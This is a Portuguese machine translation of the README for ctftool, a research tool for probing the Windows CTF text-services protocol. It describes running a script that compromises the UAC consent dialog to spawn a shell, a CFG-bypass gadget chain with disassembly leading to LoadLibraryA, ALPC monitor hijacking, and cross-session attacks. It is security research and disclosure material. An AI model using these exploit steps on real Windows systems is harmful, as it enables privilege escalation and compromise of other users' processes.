Só quer testar a exploração do sistema? Clique aqui.

Este é ctftool , uma ferramenta de linha de comando interativa para experimentar o CTF, um protocolo pouco conhecido usado no Windows para implementar serviços de texto. Isso pode ser útil para estudar o Windows Internals, depurar problemas complexos com os processadores de entrada de texto e analisar a segurança do Windows.
É possível escrever scripts simples com ctftool para automatizar a interação com clientes ou servidores CTF ou executar o Fuzzing simples.
Há uma postagem no blog que acompanha o lançamento desta ferramenta disponível aqui.
https://googleprojectzo.blogspot.com/2019/08/down-rabbit-hole.html
ctftool foi testado no Windows 7, Windows 8 e Windows 10. As versões de 32 bits e X64 são suportadas, mas o X64 foi testado mais extensivamente.
Há ajuda on -line para a maioria dos comandos, basta digitar help para ver uma lista de comandos e help <command> para ver a ajuda detalhada para um comando específico.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
A primeira coisa que você deseja fazer é conectar -se a uma sessão e ver quais clientes estão conectados.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Você pode experimentar enviando e recebendo comandos para o servidor ou qualquer um dos clientes conectados.
Se você não quiser construir você mesmo, consulte a guia Releases
Usei o GNU Make e o Visual Studio 2019 para desenvolver ctftool . Apenas as compilações de 32 bits são suportadas, pois isso permite que a ferramenta seja executada no Windows X86 e X64.
Se todas as dependências estiverem instaladas, apenas digitar make em um prompt de comando do desenvolvedor deve ser suficiente.
Eu uso a variante "Build Tools" do Visual Studio, e os únicos componentes que selecionei são MSVC, MSBuild, CMake e SDK.
Este projeto usa submódulos para algumas das dependências, verifique se você está usando um comando como esse para buscar todo o código necessário.
git submodule update --init --recursive
Os exemplos funcionam apenas no Windows 10 x64. Todas as plataformas e versões desde o Windows XP são afetadas, mas nenhum POC está implementado atualmente.
Essa ferramenta foi usada para descobrir muitos problemas críticos de segurança com o protocolo CTF que existem há décadas.
Se você deseja apenas testar uma exploração no Windows 10 x64 1903, execute ou clique duas vezes em ctftool.exe e insira este comando:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Isso aguardará a caixa de diálogo UAC aparecer, comprometer -a e iniciar um shell.
De fato, o código de exploração é dividido em dois estágios que você pode usar de forma independente. Por exemplo, você pode comprometer um processo pertencente a um usuário em uma sessão diferente usando os parâmetros opcionais para connect .
A maioria dos clientes da CTF pode ser comprometida, pois os aplicativos do kernel forçam que desenham o Windows para carregar a biblioteca vulnerável.
Basta conectar -se a uma sessão, selecione um cliente para comprometer (use os comandos de scan e thread ou apenas wait ), então:
ctf> script .scriptsctf-exploit-common-win10.ctf
Construir uma corrente de salto CFG que trabalhava na maioria dos clientes da CTF foi bastante desafiadora. Existem dois componentes principais na exploração final, um primitivo de gravação arbitrário e, em seguida, configurando nossos registros para chamar LoadLibrary() .
Você pode usar
dumpbin /headers /loadconfigpara despejar os alvos de ramificação da lista de permissões.
Eu preciso de um gadget de gravação arbitrário para criar objetos em um local previsível. O melhor gadget utilizável que pude encontrar foi um decremento arbitrário de DWORD no msvcrt!_init_time .
Isso significa que, em vez de apenas definir os valores que queremos, precisamos continuar diminuindo até que o LSB atinja o valor que queremos. Isso é muito trabalho, mas nunca precisamos fazer mais de (2^8 - 1) * len diminui.

Usando este primitivo, construo um objeto como esse em algum espaço de folga não utilizado na seção Kernel32 .data . Ele precisa fazer parte de uma imagem para que eu possa prever onde ela será mapeada, pois a randomização da imagem é por botão no Windows.

Havia (é claro) muitos gadgets de gravação arbitrários, o problema estava recuperando o controle da execução após a gravação. Isso se mostrou bastante desafiador, e foi por isso que fiquei preso a um decremento do DWORD em vez de algo mais simples.
O MSCTF captura todas as exceções, então o desafio foi encontrar uma escrita arbitrária que não estrague a pilha para que Seh sobreviveu ou caiu muito rapidamente sem causar nenhum dano.
O gadget msvcrt!_init_time foi o melhor que eu consegui encontrar, dentro de algumas instruções que ele desreferências nulas sem corromper mais memória. Isso significa que podemos repeti -lo ad infinitum.
Encontrei dois gadgets úteis para ajustar os registros, o primeiro foi:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
E o segundo foi:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Ao combinar esses dois gadgets com o objeto que formamos com nosso gadget de gravação, podemos redirecionar a execução para o kernel32!LoadLibraryA , saltando entre eles.
Isso foi complicado, mas a sequência de salto funciona assim:

Se você estiver interessado, recomendo assistir em um depurador. Observe que você precisará usar o comando sxd av e sxd bpe ou o depurador parará para cada gravação!
Além da corrupção da memória, uma grande classe de vulnerabilidades expostas pelo CTF são ataques de sessão de edição . Normalmente, um processo não privilegiado (por exemplo, baixa integridade) não teria permissão para enviar dados ou ler dados de um processo de alto privilégio. Esse limite de segurança é chamado UIPI, isolamento de privilégios da interface do usuário .
O CTF quebra essas suposições e permite que processos não privilegiados enviem informações para processos privilegiados.
Existem alguns requisitos para que esse ataque funcione, tanto quanto eu sei de que só funcionará se você tiver um idioma de exibição instalado que use uma ponta OOP, processador de entrada de texto fora de processo . Usuários com idiomas de entrada que usam IMES (chinês, japonês, coreano e assim por diante) e usuários com ferramentas A11y se enquadram nessa categoria.
Os ataques de exemplo incluem ...
Há um exemplo de script no diretório scripts que enviará a entrada para uma janela do bloco de notas para demonstrar como as sessões de edição funcionam.

Como não há autenticação envolvida entre clientes e servidores no protocolo CTF, um invasor com os privilégios necessários para gravar em BaseNamedObjects pode criar a porta CTF ALPC e fingir ser o monitor.
Isso permite que todas e quaisquer restrições aplicadas pelo monitor sejam ignoradas.
Se você quiser experimentar este ataque, tente o comando hijack em ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
Não há isolamento de sessão no protocolo CTF, qualquer processo pode se conectar a qualquer servidor CTF. Por exemplo, um usuário do Terminal Services pode interagir com os processos de qualquer outro usuário, mesmo o administrador.
O comando connect no ctftool suporta conectar-se a sessões que não sejam do DeFacult, se você deseja experimentar esse ataque.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
No momento da redação deste artigo, não se sabe como a Microsoft alterará o protocolo CTF em resposta às inúmeras falhas de design que essa ferramenta ajudou a expor.
Por esse motivo, considere essa ferramenta em estado de prova de conceito.
Todas as versões do Windows, pois o Windows XP usa o CTF, em todas as plataformas suportadas.
Embora não faça parte do sistema base até o XP, as versões já no Windows 98 e NT4 usariam o CTF se você instalasse o Microsoft Office.
ctftool suporta o Windows 7 e, posteriormente, x86 e x64, mas versões anteriores e outras plataformas podem ser suportadas, e as contribuições seriam apreciadas.
A Microsoft não documenta o que o CTF representa, não é explicado em nenhuma documentação de serviços de texto, amostras de SDK, nomes de símbolos, arquivos de cabeçalho ou em qualquer outro lugar. Minha teoria é que é da CTextFramework , o que você pode nomear a classe na notação húngara.
Existem alguns sites que afirmam que
ctfmontem algo a ver com fontes de tipo claro ou com a estrutura de tradução colaborativa do Azure. Eles estão enganados.
ATUALIZAÇÃO: Jake Nelson encontra evidências de "estrutura de texto comum"
Tavis ormandy [email protected]
Todo o código original é o Apache 2.0, consulte o arquivo de licença para obter detalhes.
Os componentes a seguir são projetados de terceiros importados.
GetProcAddress() para módulos de 64 bits de um processo de 32 bits. Isso é usado no comando symbol e permite que o mesmo binário funcione em x64 e x86.